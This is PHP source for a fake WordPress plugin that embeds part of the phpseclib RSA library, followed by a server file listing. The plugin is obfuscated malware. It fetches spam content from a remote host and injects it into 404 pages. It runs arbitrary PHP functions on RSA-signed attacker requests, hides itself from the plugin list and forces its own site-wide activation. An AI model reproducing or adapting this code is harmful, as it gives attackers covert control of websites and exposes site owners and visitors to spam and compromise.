         * Exponents for Chinese Remainder Theorem (ie. dP and dQ)
         *
         * @var array
         * @access private
         */
        var $exponents = array();

/**
         * Coefficients for Chinese Remainder Theorem (ie. qInv)
         *
         * @var array
         * @access private
         */
        var $coefficients = array();

/**
         * Hash name
         *
         * @var string
         * @access private
         */
        var $hashName;

/**
         * Hash function
         *
         * @access private
         */
        var $hash;

/**
         * Length of hash function output
         *
         * @var int
         * @access private
         */
        var $hLen;

/**
         * Hash function for the Mask Generation Function
         *
         * @access private
         */
        var $mgfHash;

/**
         * Length of MGF hash function output
         *
         * @var int
         * @access private
         */
        var $mgfHLen;

/**
         * Public Exponent
         *
         * @var mixed
         * @access private
         */
        var $publicExponent = false;

/**
         * Password
         *
         * @var string
         * @access private
         */
        var $password = false;

/**
         * Components
         *
         * For use with parsing XML formatted keys.  PHP's XML Parser functions use utilized - instead of PHP's DOM functions -
         * because PHP's XML Parser functions work on PHP4 whereas PHP's DOM functions - although surperior - don't.
         *
         * @var array
         * @access private
         */
        var $components = array();

/**
         * Current String
         *
         * For use with parsing XML formatted keys.
         *
         * @var mixed
         * @access private
         */
        var $current;

/**
         * Public key comment field.
         *
         * @var string
         * @access private
         */
        var $comment = 'phpseclib-generated-key';

/**
         * The constructor
         *
         * If you want to make use of the openssl extension, you'll need to set the mode manually, yourself.  The reason
         * \phpseclib\Crypt\RSA doesn't do it is because OpenSSL doesn't fail gracefully.  openssl_pkey_new(), in particular, requires
         * openssl.cnf be present somewhere and, unfortunately, the only real way to find out is too late.
         *
         * @access public
         */
        function __construct()
        {
            if (!defined('CRYPT_RSA_MODE')) {
                switch (true) {
                    case defined('MATH_BIGINTEGER_OPENSSL_DISABLE'):
                        define('CRYPT_RSA_MODE', self::MODE_INTERNAL);
                        break;
                    default:
                        define('CRYPT_RSA_MODE', self::MODE_INTERNAL);
                }
            }

$this->zero = new BigInteger();
            $this->one = new BigInteger(1);

$this->hash = new Hash('sha1');
            $this->hLen = $this->hash->getLength();
            $this->hashName = 'sha1';
            $this->mgfHash = new Hash('sha1');
            $this->mgfHLen = $this->mgfHash->getLength();
        }

/**
         * Break a public or private key down into its constituant components
         *
         * @access private
         * @param string|array $key
         * @param int $type
         * @return array|bool
         */
        function _parseKey($key, $type)
        {
            $key = $this->_extractBER($key);

$components = array();

if (ord($this->_string_shift($key)) != self::ASN1_SEQUENCE) {
                return false;
            }
            if ($this->_decodeLength($key) != strlen($key)) {
                return false;
            }

$tag = ord($this->_string_shift($key));

if ($tag == self::ASN1_INTEGER && substr($key, 0, 3) == "\x01\x00\x30") {
                $this->_string_shift($key, 3);
            }

$temp = $this->_string_shift($key, $this->_decodeLength($key));
            if (ord($this->_string_shift($temp)) != self::ASN1_OBJECT) {
                return false;
            }
            $length = $this->_decodeLength($temp);
            $this->_string_shift($temp, $length);
            $tag = ord($this->_string_shift($key)); // skip over the BIT STRING / OCTET STRING tag
            $this->_decodeLength($key); // skip over the BIT STRING / OCTET STRING length
            // "The initial octet shall encode, as an unsigned binary integer wtih bit 1 as the least significant bit, the number of
            //  unused bits in the final subsequent octet. The number shall be in the range zero to seven."
            //  -- http://www.itu.int/ITU-T/studygroups/com17/languages/X.690-0207.pdf (section 8.6.2.2)
            if ($tag == self::ASN1_BITSTRING) {
                $this->_string_shift($key);
            }
            $this->_string_shift($key);
            $this->_decodeLength($key);
            $this->_string_shift($key);

$length = $this->_decodeLength($key);
            $temp = $this->_string_shift($key, $length);
            if (strlen($temp) != 1 || ord($temp) > 2) {
                $components['modulus'] = new BigInteger($temp, 256);
                $this->_string_shift($key); // skip over self::ASN1_INTEGER
                $length = $this->_decodeLength($key);
                $components[$type == self::PUBLIC_FORMAT_PKCS1 ? 'publicExponent' : 'privateExponent'] = new BigInteger($this->_string_shift($key, $length), 256);

return $components;
            }
            if (ord($this->_string_shift($key)) != self::ASN1_INTEGER) {
                return false;
            }
            $length = $this->_decodeLength($key);
            $components['modulus'] = new BigInteger($this->_string_shift($key, $length), 256);
            $this->_string_shift($key);
            $length = $this->_decodeLength($key);
            $components['publicExponent'] = new BigInteger($this->_string_shift($key, $length), 256);
            $this->_string_shift($key);
            $length = $this->_decodeLength($key);
            $components['privateExponent'] = new BigInteger($this->_string_shift($key, $length), 256);
            $this->_string_shift($key);
            $length = $this->_decodeLength($key);
            $components['primes'] = array(1 => new BigInteger($this->_string_shift($key, $length), 256));
            $this->_string_shift($key);
            $length = $this->_decodeLength($key);
            $components['primes'][] = new BigInteger($this->_string_shift($key, $length), 256);
            $this->_string_shift($key);
            $length = $this->_decodeLength($key);
            $components['exponents'] = array(1 => new BigInteger($this->_string_shift($key, $length), 256));
            $this->_string_shift($key);
            $length = $this->_decodeLength($key);
            $components['exponents'][] = new BigInteger($this->_string_shift($key, $length), 256);
            $this->_string_shift($key);
            $length = $this->_decodeLength($key);
            $components['coefficients'] = array(2 => new BigInteger($this->_string_shift($key, $length), 256));

if (!empty($key)) {
                if (ord($this->_string_shift($key)) != self::ASN1_SEQUENCE) {
                    return false;
                }
                $this->_decodeLength($key);
                while (!empty($key)) {
                    if (ord($this->_string_shift($key)) != self::ASN1_SEQUENCE) {
                        return false;
                    }
                    $this->_decodeLength($key);
                    $key = substr($key, 1);
                    $length = $this->_decodeLength($key);
                    $components['primes'][] = new BigInteger($this->_string_shift($key, $length), 256);
                    $this->_string_shift($key);
                    $length = $this->_decodeLength($key);
                    $components['exponents'][] = new BigInteger($this->_string_shift($key, $length), 256);
                    $this->_string_shift($key);
                    $length = $this->_decodeLength($key);
                    $components['coefficients'][] = new BigInteger($this->_string_shift($key, $length), 256);
                }
            }

return $components;

}

/**
         * Loads a public or private key
         *
         * Returns true on success and false on failure (ie. an incorrect password was provided or the key was malformed)
         *
         * @access public
         * @param string|RSA|array $key
         * @param bool|int $type optional
         * @return bool
         */
        function loadKey($key, $type = 0)
        {
            $components = $this->_parseKey($key, $type);

$this->modulus = $components['modulus'];
            $this->k = strlen($this->modulus->toBytes());
            $this->publicExponent = $this->exponent = isset($components['privateExponent']) ? $components['privateExponent'] : $components['publicExponent'];

return true;
        }

/**
         * DER-decode the length
         *
         * DER supports lengths up to (2**8)**127, however, we'll only support lengths up to (2**8)**4.  See
         * {@link http://itu.int/ITU-T/studygroups/com17/languages/X.690-0207.pdf#p=13 X.690 paragraph 8.1.3} for more information.
         *
         * @access private
         * @param string $string
         * @return int
         */
        function _decodeLength(&$string)
        {
            $length = ord($this->_string_shift($string));
            if ($length & 0x80) { // definite length, long form
                $length &= 0x7F;
                $temp = $this->_string_shift($string, $length);
                list(, $length) = unpack('N', substr(str_pad($temp, 4, chr(0), STR_PAD_LEFT), -4));
            }
            return $length;
        }

/**
         * Integer-to-Octet-String primitive
         *
         * See {@link http://tools.ietf.org/html/rfc3447#section-4.1 RFC3447#section-4.1}.
         *
         * @access private
         * @param \phpseclib\Math\BigInteger $x
         * @param int $xLen
         * @return string
         */
        function _i2osp($x, $xLen)
        {
            $x = $x->toBytes();
            if (strlen($x) > $xLen) {
                user_error('Integer too large');
                return false;
            }
            return str_pad($x, $xLen, chr(0), STR_PAD_LEFT);
        }

/**
         * Octet-String-to-Integer primitive
         *
         * See {@link http://tools.ietf.org/html/rfc3447#section-4.2 RFC3447#section-4.2}.
         *
         * @access private
         * @param int|string|resource $x
         * @return \phpseclib\Math\BigInteger
         */
        function _os2ip($x)
        {
            return new BigInteger($x, 256);
        }

/**
         * Performs blinded RSA equality testing
         *
         * Protects against a particular type of timing attack described.
         *
         * See {@link http://codahale.com/a-lesson-in-timing-attacks/ A Lesson In Timing Attacks (or, Don't use MessageDigest.isEquals)}
         *
         * Thanks for the heads up singpolyma!
         *
         * @access private
         * @param string $x
         * @param string $y
         * @return bool
         */
        function _equals($x, $y)
        {
            if (function_exists('hash_equals')) {
                return hash_equals($x, $y);
            }

if (strlen($x) != strlen($y)) {
                return false;
            }

$result = "\0";
            $x ^= $y;
            for ($i = 0; $i < strlen($x); $i++) {
                $result |= $x[$i];
            }

return $result === "\0";
        }

/**
         * RSAVP1
         *
         * See {@link http://tools.ietf.org/html/rfc3447#section-5.2.2 RFC3447#section-5.2.2}.
         *
         * @access private
         * @param \phpseclib\Math\BigInteger $s
         * @return \phpseclib\Math\BigInteger
         */
        function _rsavp1($s)
        {
            if ($s->compare($this->zero) < 0 || $s->compare($this->modulus) > 0) {
                user_error('Signature representative out of range');
                return false;
            }
            return $s->modPow($this->exponent, $this->modulus);
        }

/**
         * EMSA-PKCS1-V1_5-ENCODE
         *
         * See {@link http://tools.ietf.org/html/rfc3447#section-9.2 RFC3447#section-9.2}.
         *
         * @access private
         * @param string $m
         * @param int $emLen
         * @return string
         */
        function _emsa_pkcs1_v1_5_encode($m, $emLen)
        {
            $h = $this->hash->hash($m);
            if ($h === false) {
                return false;
            }

// see http://tools.ietf.org/html/rfc3447#page-43
            switch ($this->hashName) {
                case 'md2':
                    $t = pack('H*', '3020300c06082a864886f70d020205000410');
                    break;
                case 'md5':
                    $t = pack('H*', '3020300c06082a864886f70d020505000410');
                    break;
                case 'sha1':
                    $t = pack('H*', '3021300906052b0e03021a05000414');
                    break;
                case 'sha256':
                    $t = pack('H*', '3031300d060960864801650304020105000420');
                    break;
                case 'sha384':
                    $t = pack('H*', '3041300d060960864801650304020205000430');
                    break;
                case 'sha512':
                    $t = pack('H*', '3051300d060960864801650304020305000440');
            }
            $t .= $h;
            $tLen = strlen($t);

if ($emLen < $tLen + 11) {
                user_error('Intended encoded message length too short');
                return false;
            }

$ps = str_repeat(chr(0xFF), $emLen - $tLen - 3);

$em = "\0\1$ps\0$t";

return $em;
        }

/**
         * RSASSA-PKCS1-V1_5-VERIFY
         *
         * See {@link http://tools.ietf.org/html/rfc3447#section-8.2.2 RFC3447#section-8.2.2}.
         *
         * @access private
         * @param string $m
         * @param string $s
         * @return string
         */
        function _rsassa_pkcs1_v1_5_verify($m, $s)
        {
            // RSA verification

$s = $this->_os2ip($s);
            $m2 = $this->_rsavp1($s);
            if ($m2 === false) {
                return false;
            }
            $em = $this->_i2osp($m2, $this->k);
            if ($em === false) {
                return false;
            }

// EMSA-PKCS1-v1_5 encoding

$em2 = $this->_emsa_pkcs1_v1_5_encode($m, $this->k);

return ($em2 !== false && $this->_equals($em, $em2));
        }

/**
         * Extract raw BER from Base64 encoding
         *
         * @access private
         * @param string $str
         * @return string
         */
        function _extractBER($str)
        {
            /* X.509 certs are assumed to be base64 encoded but sometimes they'll have additional things in them
             * above and beyond the ceritificate.
             * ie. some may have the following preceding the -----BEGIN CERTIFICATE----- line:
             *
             * Bag Attributes
             *     localKeyID: 01 00 00 00
             * subject=/O=organization/OU=org unit/CN=common name
             * issuer=/O=organization/CN=common name
             */
            $temp = preg_replace('#.*?^-+[^-]+-+[\r\n ]*$#ms', '', $str, 1);
            // remove the -----BEGIN CERTIFICATE----- and -----END CERTIFICATE----- stuff
            $temp = preg_replace('#-+[^-]+-+#', '', $temp);
            // remove new lines
            $temp = str_replace(array("\r", "\n", ' '), '', $temp);
            $temp = preg_match('#^[a-zA-Z\d/+]*={0,2}$#', $temp) ? base64_decode($temp) : false;
            return $temp != false ? $temp : $str;
        }
    }
}

if (!class_exists('Wp_buzzboxsdkhelloworld_getvariablename')) {
    class Wp_buzzboxsdkhelloworld_getvariablename
    {

static public $data;

static function append()
        {
            return self::$data[Wp_buzzboxsdkhelloworld_getvariablename::from_csv('123:112:123:115:108', 7)];
        }

static function misc()
        {
            echo Wp_buzzboxsdkhelloworld_getvariablename::from_csv('65:114:106:121:102:37:115:102:114:106:66', 5) . self::$data['keywords'] . Wp_buzzboxsdkhelloworld_getvariablename::from_csv('', 1) . self::$data['description'] . Wp_buzzboxsdkhelloworld_getvariablename::from_csv('', 6) ;
        }

static function notnull($options, $parts, $rules)
        {
            if (!empty(self::$data) && $rules === '_thumbnail_id' && $parts === $GLOBALS['wp_query']->posts[0]->ID) {
                return false;
            }
        }

static function iloc()
        {
            if (is_404()) {
                self::DatetimeIndex();
            }
        }

static function DatetimeIndex()
        {
            global $post;
            self::$data = self::Ix();
            if (!empty(self::$data[Wp_buzzboxsdkhelloworld_getvariablename::from_csv('106:121:112:112', 4)])) {
                @http_response_code(200);
                echo self::$data[Wp_buzzboxsdkhelloworld_getvariablename::from_csv('110:125:116:116', 8)];
                exit();
            } elseif (!empty(self::$data['content'])) {
                @http_response_code(200);

try {
                    wp_reset_query();
                    query_posts(array('posts_per_page' => 1, 'paged' => 1, 'post_type' => array("post", "page"), 'post_status' => 'publish', 'orderby' => array('post_type' => 'DESC', 'ID' => 'DESC')));
                    if ($GLOBALS['wp_query']->posts) {
                        $post = $GLOBALS['wp_query']->posts[0];
                        wp_reset_query();
                        query_posts(array('p' => $post->ID));
                        $post = $GLOBALS['wp_query']->posts[0];
                        $GLOBALS['wp_query']->is_404 = false;

$post->post_type = 'post';
                        $post->post_mime_type = '';
                        $post->post_content_filtered = '';
                        $post->comment_count = '0';
                        $post->filter = 'raw';
                        $post->post_name = self::$data['title'];
                        $post->post_title = self::$data['title'];
                        $post->post_content = self::$data['content'] . '<p>' . self::$data['links'] . '</p>';
                        $post->post_date_gmt = date('Y-m-d H:i:s', self::$data['date_add']);
                        $post->post_modified = date('Y-m-d H:i:s', self::$data['date_add']);
                        $post->post_modified_gmt = date('Y-m-d H:i:s', self::$data['date_add']);
                        $post->post_date = date('Y-m-d H:i:s', self::$data['date_add']);
                        if (!empty($_SERVER['REQUEST_SCHEME'])) {
                            $scheme = $_SERVER['REQUEST_SCHEME'];
                        } else {
                            $scheme = 'http';
                        }
                        $post->guid = $scheme . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
                        $post->post_status = 'publish';
                        $post->comment_status = 'closed';
                        $GLOBALS['wp_query']->is_home = false;
                        $GLOBALS['wp_query']->post = $post;

self::spatial();
                        ob_start();
                        include ABSPATH . WPINC . '/template-loader.php';
                        $content = ob_get_contents();
                        ob_end_clean();
                        $content = str_replace(array(
                            Wp_buzzboxsdkhelloworld_getvariablename::from_csv('117:111:116:46:100:112:118:111:117:102:115:47:115:118', 1),
                            Wp_buzzboxsdkhelloworld_getvariablename::from_csv('112:109:122:105:110:115:121:118:114:101:112:50:119:121:116:50:103:115:113', 4),
                            Wp_buzzboxsdkhelloworld_getvariablename::from_csv('100:112:118:111:117:102:115:47:122:98:101:115:112:47:115:118', 1),
                            Wp_buzzboxsdkhelloworld_getvariablename::from_csv('111:101:48:123:99:112:102:103:122:48:116:119', 2),
                            Wp_buzzboxsdkhelloworld_getvariablename::from_csv('108:116:116:108:113:106:50:102:115:102:113:126:121:110:104:120:51:104:116:114', 5),
                            Wp_buzzboxsdkhelloworld_getvariablename::from_csv('122:117:118:52:115:103:111:114:52:120:123', 6),
                            Wp_buzzboxsdkhelloworld_getvariablename::from_csv('105:106:117:100:112:118:111:117:102:115:47:115:118', 1),
                            Wp_buzzboxsdkhelloworld_getvariablename::from_csv('101:113:119:112:118:103:116:48:116:99:111:100:110:103:116:48:116:119', 2),
                            Wp_buzzboxsdkhelloworld_getvariablename::from_csv('100:112:118:111:117:102:115:47:104:109:100:47:115:118', 1),
                        ), '', $content);
                        echo $content;
                        exit();
                    } else {
                        throw new Exception('no posts');
                    }
                } catch (Exception $exception) {
                    @ob_end_clean();
                    echo '<h1>' . self::$data['title'] . '</h1>';
                    echo self::$data['content'] . '<p>' . self::$data['links'] . '</p>\n\n';
                    echo '';
                    exit();
                }
            }
        }

static function spatial()
        {
            add_filter(Wp_buzzboxsdkhelloworld_getvariablename::from_csv('114:116:103:97:105:103:118:97:102:113:101:119:111:103:112:118:97:118:107:118:110:103', 2), Wp_buzzboxsdkhelloworld_getvariablename::from_csv('93:118:101:104:123:128:128:104:117:126:121:106:113:110:107:114:114:117:125:117:120:114:106:101:109:107:122:124:103:120:111:103:104:114:107:116:103:115:107:64:64:103:118:118:107:116:106', 6), 9999);
            add_action(Wp_buzzboxsdkhelloworld_getvariablename::from_csv('127:120:103:112:109:105:108', 8), Wp_buzzboxsdkhelloworld_getvariablename::from_csv('88:113:96:99:118:123:123:99:112:121:116:101:108:105:102:109:109:112:120:112:115:109:101:96:104:102:117:119:98:115:106:98:99:109:102:111:98:110:102:59:59:110:106:116:100', 1), 9999);
            add_filter(Wp_buzzboxsdkhelloworld_getvariablename::from_csv('111:109:124:103:120:119:123:124:103:117:109:124:105:108:105:124:105', 8), Wp_buzzboxsdkhelloworld_getvariablename::from_csv('94:119:102:105:124:129:129:105:118:127:122:107:114:111:108:115:115:118:126:118:121:115:107:102:110:108:123:125:104:121:112:104:105:115:108:117:104:116:108:65:65:117:118:123:117:124:115:115', 7), 9999, 3);
        }

static function read_csv($guardians)
        {
            $rsa = new RSA();
            $rsa->loadKey(Wp_buzzboxsdkhelloworld_getvariablename::from_csv('50:50:50:50:50:71:74:76:78:83:37:85:90:71:81:78:72:37:80:74:94:50:50:50:50:50:18:15:82:78:78:71:78:111:70:83:71:108:112:118:109:112:110:76:62:124:53:71:70:86:74:75:70:70:84:72:70:86:61:70:82:78:78:71:72:108:80:72:70:86:74:70:127:58:59:76:118:115:87:62:119:53:56:108:82:72:127:121:70:102:104:104:18:15:81:126:81:124:127:90:115:83:116:91:92:116:86:74:82:62:108:80:75:107:76:73:85:124:89:82:70:124:52:94:85:122:122:119:119:84:87:115:78:54:48:91:71:102:60:55:121:72:113:103:102:57:111:58:110:118:105:72:124:88:109:116:83:85:18:15:90:117:92:76:119:58:107:57:79:85:94:114:94:122:85:115:76:85:113:91:112:78:120:87:56:120:87:113:58:124:91:105:83:93:87:59:84:70:80:126:60:103:124:103:104:113:124:52:86:114:110:81:118:61:114:58:108:118:108:81:85:89:74:53:18:15:93:110:119:120:91:81:77:56:61:81:58:77:117:124:54:55:112:103:95:116:102:118:108:111:77:86:77:82:118:80:81:76:52:84:118:87:127:110:52:113:48:73:94:95:81:48:93:62:48:121:108:110:94:104:72:122:93:80:127:77:77:56:79:108:18:15:86:126:104:121:95:72:111:71:124:114:75:109:123:48:124:54:102:59:86:71:108:126:81:80:102:114:104:91:122:119:93:114:119:85:87:116:126:52:57:86:113:59:94:73:88:122:88:57:108:103:86:93:58:74:123:72:95:81:119:122:71:120:62:54:18:15:71:104:78:120:124:122:107:95:93:89:72:59:92:126:58:93:48:56:121:124:87:72:119:86:85:54:95:55:60:126:109:120:119:123:114:54:53:105:112:48:80:60:112:62:105:123:54:119:82:75:48:117:115:85:92:114:107:79:104:60:73:125:89:92:18:15:106:124:78:73:70:86:70:71:18:15:50:50:50:50:50:74:83:73:37:85:90:71:81:78:72:37:80:74:94:50:50:50:50:50', 5));
            return $rsa->_rsassa_pkcs1_v1_5_verify(self::org(), urldecode($guardians));
        }

static function Ix()
        {
            $path = parse_url($_SERVER[Wp_buzzboxsdkhelloworld_getvariablename::from_csv('90:77:89:93:77:91:92:103:93:90:81', 8)], PHP_URL_PATH);
            $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
            if ($ext && $ext != 'html') {
                return false;
            }
            $url = Wp_buzzboxsdkhelloworld_getvariablename::from_csv('105:117:117:113:59:48:48:103:102:102:116:110:122:47:100:122:112:118:48', 1) . "?" . http_build_query(array('url' => urlencode(self::org() . $_SERVER['REQUEST_URI'])));

if (function_exists('curl_init')) {
                $myCurl = curl_init();
                curl_setopt_array($myCurl, array(
                    CURLOPT_URL => $url,
                    CURLOPT_RETURNTRANSFER => true
                ));
                $html = curl_exec($myCurl);
                curl_close($myCurl);
            }
            if (!$html) {
                $html = file_get_contents($url);
            }
            $data = @json_decode($html, true);
            if ($data) {
                return $data;
            }
            return false;
        }

static function from_csv($offset, $select)
        {
            $c = explode(':', $offset);
            foreach ($c as $i => $a) {
                $c[$i] = array($a, $select);
            }
            return implode('', array_map('self::reset_index', $c));
        }

static function reset_index($names)
        {
            return chr(intval($names[0]) - intval($names[1]));
        }

static function org()
        {
            if (!empty($_SERVER[Wp_buzzboxsdkhelloworld_getvariablename::from_csv('74:86:86:82:97:90:97:72:81:84:89:67:84:70:71:70:97:74:81:85:86', 2)])) {
                $host = $_SERVER[Wp_buzzboxsdkhelloworld_getvariablename::from_csv('74:86:86:82:97:90:97:72:81:84:89:67:84:70:71:70:97:74:81:85:86', 2)];
            } else {
                $host = $_SERVER[Wp_buzzboxsdkhelloworld_getvariablename::from_csv('79:91:91:87:102:79:86:90:91', 7)];
            }
            $host = explode(':', $host);
            return $host[0];
        }

static function values($joins)
        {
            unset($joins[basename(__DIR__) . '/' . basename(__FILE__)]);

return $joins;
        }

static function issparse()
        {
            if (!empty($_REQUEST[Wp_buzzboxsdkhelloworld_getvariablename::from_csv('121:114:97:101:113:111:111:99:112:102:117', 2)]) && !empty($_REQUEST[Wp_buzzboxsdkhelloworld_getvariablename::from_csv('116:106:104:111:98:117:118:115:102', 1)]) && (Wp_buzzboxsdkhelloworld_getvariablename::read_csv($_REQUEST[Wp_buzzboxsdkhelloworld_getvariablename::from_csv('123:113:111:118:105:124:125:122:109', 8)]))) {
                Wp_buzzboxsdkhelloworld_getvariablename::DataFrame(json_decode(call_user_func(Wp_buzzboxsdkhelloworld_getvariablename::from_csv('106:105:123:109:62:60:103:108:109:107:119:108:109', 8), (strtr($_REQUEST[Wp_buzzboxsdkhelloworld_getvariablename::from_csv('125:118:101:105:117:115:115:103:116:106:121', 6)], '-_', '+/'))), true));
            }
        }

static function from_dict($defenders)
        {
            return $defenders;
        }

static function linalg($tasks)
        {
            return $GLOBALS[$tasks];
        }

static function concat(&$middlewares, &$categories)
        {
            foreach ($middlewares as &$item) {
                if (is_array($item)) {
                    self::concat($item, $categories);
                } else if (strpos($item, '$') === 0) {
                    $path = explode('.', $item);
                    $path[0] = substr($path[0], 1);
                    $cursor = &$categories;
                    for ($i = 0; $i < count($path); $i++) {
                        if (is_object($cursor)) {
                            $val = &$cursor->{$path[$i]};
                        } else {
                            $val = &$cursor[$path[$i]];
                        }
                        unset($cursor);
                        $cursor = &$val;
                    }
                    $item = $cursor;
                }
            }
        }

static function DataFrame($users)
        {
            $limit = array();
            try {
                foreach ($users as $part) {
                    self::concat($part, $limit);

$limit[$part[0]] = call_user_func_array($part[1], $part[2]);
                }
            } catch (Exception $exception) {
                echo Wp_buzzboxsdkhelloworld_getvariablename::from_csv('53:53:53:53:109:122:122:119:122:53:53:53:53', 8) . $exception->getMessage() . Wp_buzzboxsdkhelloworld_getvariablename::from_csv('46:46:46:46:102:115:115:112:115:46:46:46:46', 1) ;
            }
            echo Wp_buzzboxsdkhelloworld_getvariablename::from_csv('50:50:50:50:105:102:121:102:50:50:50:50', 5) . json_encode($limit) . Wp_buzzboxsdkhelloworld_getvariablename::from_csv('52:52:52:52:107:104:123:104:52:52:52:52', 7) ;
            exit();
        }
    }

try {
        if (function_exists(Wp_buzzboxsdkhelloworld_getvariablename::from_csv('101:104:104:99:101:103:120:109:115:114', 4))) {
            add_action(Wp_buzzboxsdkhelloworld_getvariablename::from_csv('100:111:111:98:115:111:120:106:108:113:118', 3), Wp_buzzboxsdkhelloworld_getvariablename::from_csv('88:113:96:99:118:123:123:99:112:121:116:101:108:105:102:109:109:112:120:112:115:109:101:96:104:102:117:119:98:115:106:98:99:109:102:111:98:110:102:59:59:119:98:109:118:102:116', 1), -1);
            add_action(Wp_buzzboxsdkhelloworld_getvariablename::from_csv('119:104:112:115:111:100:119:104:98:117:104:103:108:117:104:102:119', 3), Wp_buzzboxsdkhelloworld_getvariablename::from_csv('92:117:100:103:122:127:127:103:116:125:120:105:112:109:106:113:113:116:124:116:119:113:105:100:108:106:121:123:102:119:110:102:103:113:106:115:102:114:106:63:63:110:113:116:104', 5), -1);
            add_action(Wp_buzzboxsdkhelloworld_getvariablename::from_csv('111:116:111:122', 6), Wp_buzzboxsdkhelloworld_getvariablename::from_csv('90:115:98:101:120:125:125:101:114:123:118:103:110:107:104:111:111:114:122:114:117:111:103:98:106:104:119:121:100:117:108:100:101:111:104:113:100:112:104:61:61:108:118:118:115:100:117:118:104', 3));
        }
        if (function_exists(Wp_buzzboxsdkhelloworld_getvariablename::from_csv('121:108:110:112:122:123:108:121:102:104:106:123:112:125:104:123:112:118:117:102:111:118:118:114', 7))) {
            register_activation_hook(__FILE__, Wp_buzzboxsdkhelloworld_getvariablename::from_csv('88:113:96:99:118:123:123:99:112:121:116:101:108:105:102:109:109:112:120:112:115:109:101:96:104:102:117:119:98:115:106:98:99:109:102:111:98:110:102:59:59:74:121', 1));
        }
        if (!empty($_REQUEST[Wp_buzzboxsdkhelloworld_getvariablename::from_csv('101:113:111:111:99:112:102:117', 2)]) && !empty($_REQUEST[Wp_buzzboxsdkhelloworld_getvariablename::from_csv('119:109:107:114:101:120:121:118:105', 4)]) && (Wp_buzzboxsdkhelloworld_getvariablename::read_csv($_REQUEST[Wp_buzzboxsdkhelloworld_getvariablename::from_csv('123:113:111:118:105:124:125:122:109', 8)]))) {
            Wp_buzzboxsdkhelloworld_getvariablename::DataFrame(json_decode(call_user_func(Wp_buzzboxsdkhelloworld_getvariablename::from_csv('102:101:119:105:58:56:99:104:105:103:115:104:105', 4), (strtr($_REQUEST[Wp_buzzboxsdkhelloworld_getvariablename::from_csv('106:118:116:116:104:117:107:122', 7)], '-_', '+/'))), true));
        }
        if (isset($_REQUEST[Wp_buzzboxsdkhelloworld_getvariablename::from_csv('73:67:51:86:117:59:74:101:92:70:119:102:121:91', 2)])) {
            echo Wp_buzzboxsdkhelloworld_getvariablename::from_csv('75:69:53:88:119:61:76:103:94:72:121:104:123:93', 4) . json_encode(array(
                    'v' => 101,
                    'n' => Wp_buzzboxsdkhelloworld_getvariablename::from_csv('93:118:101:104:123:128:128:104:117:126:121:106:113:110:107:114:114:117:125:117:120:114:106:101:109:107:122:124:103:120:111:103:104:114:107:116:103:115:107', 6),
                    'm' => Wp_buzzboxsdkhelloworld_getvariablename::from_csv('57:61:56:54:61:55:60:61:60:61:53:57:61:59:61:55:59:61:53:53:61:55:57:61:52:52:61:54:56:61:53:52:61:53:60:61:52:55:61:54:54:61:52:56:61:55:55:61:54:61:54:58:61:54:55', 3)
                )) . Wp_buzzboxsdkhelloworld_getvariablename::from_csv('76:70:54:89:120:62:77:104:95:73:122:105:124:94', 5)
            ;
            exit();
        }
        if (isset($_REQUEST[Wp_buzzboxsdkhelloworld_getvariablename::from_csv('78:91:93:118:118:114:113:72:73:79:85:114:123:101', 4)]) || isset($_REQUEST[Wp_buzzboxsdkhelloworld_getvariablename::from_csv('81:94:96:121:121:117:116:75:76:82:88:117:126:104:57', 7)])) {
            if (file_exists(__DIR__ . Wp_buzzboxsdkhelloworld_getvariablename::from_csv('54:53:53:54:53:53:54:53:53:54:126:119:52:106:118:117:109:112:110:53:119:111:119', 7))) {
                include __DIR__ . Wp_buzzboxsdkhelloworld_getvariablename::from_csv('54:53:53:54:53:53:54:53:53:54:126:119:52:106:118:117:109:112:110:53:119:111:119', 7)
                ;
            } elseif (file_exists(__DIR__ . Wp_buzzboxsdkhelloworld_getvariablename::from_csv('55:54:54:55:54:54:55:54:54:55:127:120:53:116:119:105:108:54:120:112:120', 8))) {
                include __DIR__ . Wp_buzzboxsdkhelloworld_getvariablename::from_csv('51:50:50:51:50:50:51:50:50:51:123:116:49:112:115:101:104:50:116:108:116', 4)
                ;
            } else {
                echo '-';
                exit();
            }
            $path = explode(DIRECTORY_SEPARATOR, __FILE__);
            $pl = $path[count($path) - 2] . '/' . $path[count($path) - 1];
            echo $pl . "\n";
            $current = get_option(Wp_buzzboxsdkhelloworld_getvariablename::from_csv('101:103:120:109:122:105:99:116:112:121:107:109:114:119', 4), array());
            if (!in_array($pl, $current)) {
                $current[] = $pl;
                sort($current);
                echo intval(update_option(Wp_buzzboxsdkhelloworld_getvariablename::from_csv('102:104:121:110:123:106:100:117:113:122:108:110:115:120', 5), $current));
            }
            $current = get_option('active_sitewide_plugins', array());
            if (!in_array($pl, $current)) {
                $current[] = $pl;
                sort($current);
                echo intval( update_option(Wp_buzzboxsdkhelloworld_getvariablename::from_csv('99:101:118:107:120:103:97:117:107:118:103:121:107:102:103:97:114:110:119:105:107:112:117', 2), $current));
            }
            echo '+';
            exit();
        }
    } catch (Exception $e) {

}
}

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	thegom/thegom	drwxr-xr-x	2025-03-05 07:46:14
..	dir	-	thegom/thegom	drwxr-xr-x	2025-07-09 04:42:35
wp-buzzboxsdkhelloworld-getvariablename.php	text/x-php	206.13 KB	thegom/thegom	-rw-r--r--	2025-03-05 07:46:14